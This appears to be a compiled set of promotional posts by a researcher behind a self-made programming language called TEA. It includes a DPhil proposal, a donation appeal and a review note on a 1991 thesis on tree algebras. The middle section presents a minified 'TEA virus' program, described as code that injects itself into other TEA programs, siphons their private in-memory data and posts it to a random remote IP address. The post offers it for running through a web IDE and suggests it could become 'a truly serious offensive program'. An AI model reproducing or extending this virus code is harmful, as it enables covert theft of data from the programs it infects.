PROPOSED THESIS TITLE: The Transforming Executable Alphabet (TEA) and Transformatics as the Foundations for Modern Sequence-Transformer Oriented Software Engineering

ABSTRACT: This is my proposed research topic while pursuing a DPhil in Computer Science at the University of Oxford starting 2026/2027.

KEYWORDS: computer science, mathematical research, transformatics, programming language research, TEA, sequence transformer paradigm, doctoral thesis concept

DOI/LINK: https://www.academia.edu/145812561/DPhil_Research_Proposal

UPDATED: 8 JAN, 2026

#tealanguage #icecomics #hackathon @ugandanow are you in??

Yes.. U got neighbours that #grok #icecomics #tealanguage and @bclectures

W:IN 🔆✨✨

TEA EXAMPLE: The Injectable TEA VIRUS Program Minified and Sanitized

Yup! We've successfully written a 🍃 TEA virus ☣️ program with the properties:

1. Entire [virus] program can be stored in a short string that can then be loaded/injected into other TEA programs

2. The virus can generate random data that it can send to a random IP address on the Internet.

3. The virus, when injected into another TEA program, and executed, shall cause that program's [secret/private] in-memory data to be siphoned off and posted to the remote network endpoint.

4. We can of-course introspect... DEBUG/see what the virus tried to do with our data, and to whom it tried to send it to [if you know what to do/how].

5. It should be possible to build upon this example and build a truly serious offensive program if needed.

The complete example, in its minified form is as such currently:

i:{Hello World}|v:vIN|v:vCMD:"n!:1000|v:id|p!:10|v:data|n!:256:0:4:.|v:ip|v:vPROTOCOL:{http://}|x*:vPROTOCOL|v:url|w*:|v:vOUT"|E*!:vCMD|v:vOUT|v:I:{Original Input was:}|v:C:{Injected Program Was:}|v:O:{Output Was:}|v:S:_|g*:_:I:vIN:S:C:vCMD:S:O:vOUT|r!:_:{
}

And of that [somewhat elaborate] demonstration program, the actual computer virus bit would just be the code:

v:vCMD:"n!:1000|v:id|p!:10|v:data|n!:256:0:4:.|v:ip|v:vPROTOCOL:{http://}|x*:vPROTOCOL|v:url|w*:|v:vOUT"|E*!:vCMD

If you wish to try it out, debug or modify it, go check it out via the WEB TEA IDE:

https://tea.nuchwezi.com/?fc=https://gist.githubusercontent.com/mcnemesis/143ea8c1d49aee8e7758f5c414125382/raw/tea_virus_example_selfmod_min.tea

#tearesearch #infosecurity #selfmodifyingprograms #computerviruses #tealanguage #nuchweziresearch #cryptography #networkprogramming keep watching/following...

More details+ discussion shall follow in the FINAL TEA TAZ file: https://bit.ly/tazfile

Otherwise, go follow the TEA PROJECT: https://bit.ly/projtea

For those interested, take a peek at what the FINAL official TEA TAZ might look like; the TEA language standard. Now covering A: to F:

Also features the Mathematical Definition of the TEA, Transforming Executable Alphabet computer programming language.

Dear friends I need some support. I'm without any financing but I promise that the work I have invested in here, shall undoubtedly return bountful fruits for all who invest early on. Please help and support, offer some financial help to the TEA project in this difficult time we are going through; https://tea.nuchwezi.com

SEND us MMONEY assistance: +256704464749

Thanks, Be Blessed.

[fut.][prof.] J. WILLRICH LUTALO | Inventor | TEA language | the mathematics of Transformatics | Nuchwezi Research | GARUGA, *UGANDA.*

20251023

PhD-Research--Reviewing:

Tree Algorithm Algebras Thesis --- Prof.Jeremy Gibbons (1991);

@phdthesis{gibbons1991algebras,
  title={Algebras for tree algorithms},
  author={Gibbons, Jeremy},
  year={1991},
  school={University of Oxford}
}

REVIEWER: Joseph Willrich (Nuchwezi Research)

TITLE: A Comparative Review and Critique of Tree Algebras: Revisiting Gibbons (1991) Thesis in Light of Contemporary Modern Transformatics

IN-BRIEF:

This is a review of the orginal PhD thesis of Prof. Jeremy Gibbons (Oxford University) by his potential PhD student, J. Willrich Lutalo. It is a critical and comparative review of tree algebras vis-a-vis contemporary Transformatics Theory and its applications in the TEA programming language.

[PREPRINT]DOI: https://doi.org/10.6084/m9.figshare.30445721

TAGS: #Mathematics, #ComputerScience, #Trees, #TreeAlgebras, #SequenceAlgebras, #Transformatics, #HigherOrderSequences, #ThesisReview

Notes from further analysis of both the abstract and introduction of Prof. Jeremy Gibbons' 1991 PhD thesis on Tree Algebras by fut.prof. JWL

#notes #analysis #review #paper #thesis

First VERDICT:

Further, after analyzing both the abstract and introduction of Jeremy Gibbons' thesis on Tree Algebras, we find that not only is it that the claim that "trees are fundamental" is arguably misleading (at least in the most general mathematical sense), but that, actually trees are just a higher abstraction over sets (set theory) or, and for the case of my work on TRANSFORMATICS, an abstraction over [ordered] sequences (themselves an abstraction over sets), and thus, one can comfortably argue that both trees and graphs (since trees are essentially graphs), are less fundamental than both sequences and sets. So that studying Tree Algebra, much as it is useful and very applicable in domains such as Software Engineering, Design and Processing/Analysis of Networks and many problems involving dealing with hierarchical structure mathematical objects, is less fundamental than Study of sequences or the theory and computations based on just sequences and sets such as Transformatics and the computer language based on it; TEA, treat of.